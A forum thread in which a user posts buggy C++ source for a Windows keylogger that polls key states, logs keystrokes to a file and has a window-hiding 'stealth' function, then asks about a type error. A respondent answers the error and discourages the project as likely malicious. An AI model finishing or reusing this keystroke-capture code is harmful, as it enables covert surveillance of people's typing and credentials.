Thread: can't convert char to int

  1. #1
    Registered User
    Join Date
    Apr 2013
    Posts
    34

    can't convert char to int

    Hello, so im writing a basic keylogger and i want to add data to log file, but it says that i cant convert char to int. Everything else works fine.
    Any ideas?

    Code:
    #include <iostream>#include <windows.h>
    #include <stdio.h>
    #include <time.h>
    
    
    using namespace std;
    
    
    int Save(char *file, int key)
    {
        FILE* myfile;
        myfile = fopen(file, "a+");
    
    
        if(key == 1 || key == 2)
            return 0;
        else if(key == 96)
            fprintf(myfile, "%s", "0");
        else if(key == 97)
            fprintf(myfile, "%s", "1");
        else if(key == 98)
            fprintf(myfile, "%s", "2");
        else if(key == 99)
            fprintf(myfile, "%s", "3");
        else if(key == 100)
            fprintf(myfile, "%s", "4");
        else if(key == 101)
            fprintf(myfile, "%s", "5");
        else if(key == 102)
            fprintf(myfile, "%s", "6");
        else if(key == 103)
            fprintf(myfile, "%s", "7");
        else if(key == 104)
            fprintf(myfile, "%s", "8");
        else if(key == 105)
            fprintf(myfile, "%s", "9");
        else if(key == 8)
            fprintf(myfile, "%s", "[BACKSPACE]");
        else
            fprintf(myfile, "%s", &key); // saves key to log file
    
    
        cout << key << endl;
        fclose(myfile);
    
    
    
    
    }
    
    
    void Stealth() // makes window invisible
    {
        HWND stealth;
        AllocConsole();
        stealth = FindWindow("ConsoleWindowClass", NULL);
        ShowWindow(stealth, NULL);
    }
    
    
    int main()
    {
        char i;
        char *time1;
        time_t rawtime;
    
    
        struct tm *timeinfo;
        time(&rawtime);
        timeinfo = localtime(&rawtime);
        //cout << asctime(timeinfo);
        time1 = asctime(timeinfo);
    
    
        Save("Time.txt", time1); //this is the error
    
    
        //Stealth();
    
    
        while(true)
        {
            for(i=8; i<=190; i++)
            {
                if(GetAsyncKeyState(i) == -32767) // checks if any key is pressed
                {
                    Save("Log.txt", i);
                }
            }
        }
    }

  2. #2
    C++ Witch laserlight's Avatar
    Join Date
    Oct 2003
    Location
    Singapore
    Posts
    28,413
    You declared the second parameter of Save to be an int, but then you passed a char* as the argument.

    Why are you writing a keylogger?
    Quote Originally Posted by Bjarne Stroustrup (2000-10-14)
    I get maybe two dozen requests for help with some sort of programming or design problem every day. Most have more sense than to send me hundreds of lines of code. If they do, I ask them to find the smallest example that exhibits the problem and send me that. Mostly, they then find the error themselves. "Finding the smallest program that demonstrates the error" is a powerful debugging tool.
    Look up a C++ Reference and learn How To Ask Questions The Smart Way

  3. #3
    Registered User
    Join Date
    Apr 2013
    Posts
    34
    But how can i make it work? I tried to in function Save to declare key as char, but then it says: cant convert 'char*' to 'char'.

    You know, to rule the world

  4. #4
    C++ Witch laserlight's Avatar
    Join Date
    Oct 2003
    Location
    Singapore
    Posts
    28,413
    Quote Originally Posted by Aeoskype
    I tried to in function Save to declare key as char, but then it says: cant convert 'char*' to 'char'.
    That is because a char* is not a char.

    Quote Originally Posted by Aeoskype
    You know, to rule the world
    I suggest that you work on something else. There are a few valid uses of keyloggers, but generally newbies who want to write keyloggers are assumed to be script kiddies with nefarious intentions. If this had been your first thread here, you may well have been banned by now, or at least I would have closed the thread without giving you the benefit of the doubt.
    Quote Originally Posted by Bjarne Stroustrup (2000-10-14)
    I get maybe two dozen requests for help with some sort of programming or design problem every day. Most have more sense than to send me hundreds of lines of code. If they do, I ask them to find the smallest example that exhibits the problem and send me that. Mostly, they then find the error themselves. "Finding the smallest program that demonstrates the error" is a powerful debugging tool.
    Look up a C++ Reference and learn How To Ask Questions The Smart Way

Popular pages Recent additions subscribe to a feed

Similar Threads

  1. Replies: 8
    Last Post: 04-09-2013, 07:06 PM
  2. Convert string to char or use 2d array of char?
    By simpleblue in forum C++ Programming
    Replies: 6
    Last Post: 09-25-2011, 05:00 PM
  3. strcat - cannot convert char to const char
    By ulillillia in forum C Programming
    Replies: 14
    Last Post: 12-07-2006, 10:00 AM
  4. Newb Question - Cant convert Char[41] to Char
    By Kalkran in forum C++ Programming
    Replies: 2
    Last Post: 08-19-2004, 10:05 AM
  5. Replies: 6
    Last Post: 04-14-2002, 11:25 AM